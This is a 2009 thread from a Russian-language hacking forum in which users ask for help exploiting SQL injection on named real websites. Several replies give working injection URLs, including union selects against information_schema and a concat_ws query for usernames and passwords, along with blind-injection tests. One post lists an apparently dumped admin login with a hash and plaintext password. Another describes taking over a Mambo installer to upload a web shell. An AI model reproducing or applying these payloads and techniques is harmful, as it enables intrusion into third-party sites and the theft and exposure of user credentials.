Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Neoveneficus

    Neoveneficus Elder - Старейшина

    Joined:
    10 Apr 2008
    Messages:
    235
    Likes Received:
    126
    Reputations:
    23
    https://forum.antichat.ru/showthread.php?t=26510
    статья не айс, почитай все комменты, что не поймешь - уже спрашивай
     
    1 person likes this.
  2. fker

    fker Member

    Joined:
    26 Nov 2008
    Messages:
    135
    Likes Received:
    64
    Reputations:
    -1
    Mambo web installer

    Подскажите можно ли что-нибудь с этого поиметь?)
    [​IMG]
     
  3. PaCo

    PaCo Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    436
    Likes Received:
    138
    Reputations:
    25
    Укажи в хосте(для бд) свой хост где разрешен конект с удаленых машин, установи -зайди в админку и залей шелл, верни назад все назад.
     
  4. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2
    http://www.vurv.cz/index.php?key=section&id=5%20or%201=@@version--

    помогите плиз раскрутить дальше а то я не силёт в MS SQL
     
    #5944 F4R, 16 Mar 2009
    Last edited: 16 Mar 2009
  5. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    F4R
    тоесть. "ты не силён" ? А статьи почитать? вот подробный мануал, вопросы после прочтения:
    https://forum.antichat.ru/thread30501.html

    А если тебе нужно просто . что-бы кто-то за тебя всё сделал, то ты разделом ошибся, а возможно и форумом
     
    1 person likes this.
  6. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    fedi, http://www.sendspace.com/file/1heu65 - сервер л2. Смотри папку DBScript, там .sql файлы - изучай структуру бд сервера. Тогда не будет вопросов где лежат пароли и почему их нельзя достать.

    F4R, http://www.vurv.cz/index.php?key=section&id=5+union+select+null,null,null,null,table_name+from+information_schema.tables

    Но статью всеровно почитай. И это тоже http://msdn.microsoft.com/ru-ru/library/bb418490.aspx :)
     
    #5946 ElteRUS, 16 Mar 2009
    Last edited: 16 Mar 2009
    1 person likes this.
  7. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2
    спс Держи ++++
     
  8. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    http://dental.medicum.ee/index.php?sisu=tekst&mid=109

    -109+union+select+concat_ws(kasutajanimi,0x3a,password) from kasutajad--

    Таблица есть,но данные не выбираются.Количество полей верно.Я так понял,что она пустая ?
     
  9. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    table admin_login
    admin:de5b25fb43c11d610a26449661dd28c8:lasesisse

    видимо да, пустая твоя табличка.
     
    #5949 $n@ke, 17 Mar 2009
    Last edited: 17 Mar 2009
  10. roddik

    roddik Member

    Joined:
    14 Jan 2009
    Messages:
    117
    Likes Received:
    13
    Reputations:
    0
    не ответ на вопрос, но вроде неправильно использована ф-я CONCAT_WS(separator,str1,str2,...)

    http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_concat-ws
     
  11. Nuke

    Nuke New Member

    Joined:
    14 Jan 2009
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    На запрос www.......&sid=115' в браузере ваваливается следующее:

    Can not select table: SELECT * FROM ofagp WHERE id=115\' and enable=1 and language=2 ORDER BY od asc

    Подскажите что здесь можно сделать чтобы раскрутить sql инъекцию?
     
  12. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    читай тут - http://forum.antichat.ru/thread43966.html
    и тут - http://forum.antichat.ru/thread104591.html

    и вообще много статей про Sql inj
     
  13. Imperou$

    Imperou$ Elder - Старейшина

    Joined:
    23 May 2008
    Messages:
    90
    Likes Received:
    42
    Reputations:
    0
    У кого опыта побольше,помогите плиз раскрутить скулю, уже минут 30 бьюсь, безрезультатно... :'(
    http://texeyes.com/contact.php?d=5'
     
  14. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    слепая походу!
    http://texeyes.com/contact.php?d=5%27+and+1=2
    http://texeyes.com/contact.php?d=5%27+and+1=1
    разные ответы
     
  15. Imperou$

    Imperou$ Elder - Старейшина

    Joined:
    23 May 2008
    Messages:
    90
    Likes Received:
    42
    Reputations:
    0
    А разве может быть слепая, если ошибка вываливается? o_O
    Это ты показал, что скуля вообще есть, а то что она есть я и так знаю, исходя из ошибки :)
     
  16. j0ker13

    j0ker13 Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    199
    Likes Received:
    16
    Reputations:
    5
    2Imperou$
    http://texeyes.com/contact.php?d=5+and+1=1/* получилась тока слепая скуля)

    ))) что ты понимаешь под слепой скулей?) то что ее на ощупь нада раскручивать одной интуицией где даже ошибки не выводятся?)
     
    #5956 j0ker13, 17 Mar 2009
    Last edited: 17 Mar 2009
  17. serfertty

    serfertty Guest

    Reputations:
    0
    так не ругается
    Code:
    http://texeyes.com/contact.php?d=5+union+select+1,2,3,4,5,6+--+
    
    А так идет перенаправление
    Code:
    http://texeyes.com/contact.php?d=5+order+by+1+--+
    
    Может по union select побрутить?
     
  18. Imperou$

    Imperou$ Elder - Старейшина

    Joined:
    23 May 2008
    Messages:
    90
    Likes Received:
    42
    Reputations:
    0
    Я считал, что слепая скуля, это когда вывод ошибок отключён.Например возвращает разные результаты, а не обязательно интуицией.Если ошибаюсь-поправьте, я далеко не спец.
    И ещё,я попросил помочь раскрутить, а не советы.Что это скуля я знаю и так.А блинд она или нет, это другой вопрос вроде.
    Версия 5.0.67-community, больше ничего не узнал =(
     
  19. jangle

    jangle Member

    Joined:
    19 Nov 2006
    Messages:
    123
    Likes Received:
    6
    Reputations:
    6
    2 Imperrous

    так же как ты узнал версии тащи таблы из information_schema.tables и колонки из information_schema.column
     
  20. Imperou$

    Imperou$ Elder - Старейшина

    Joined:
    23 May 2008
    Messages:
    90
    Likes Received:
    42
    Reputations:
    0
    Да ну я не совсем уж нуб.Версию узнал со скули с другого сайта на серваке, но дело в том, что с неё ничего не вытянешь.Доступа к мускул.юзер нет, файл прив отключён, таблиц с админскими и юзерскими данными тоже нет, один мусор и всего то пару таблов.
     
Thread Status:
Not open for further replies.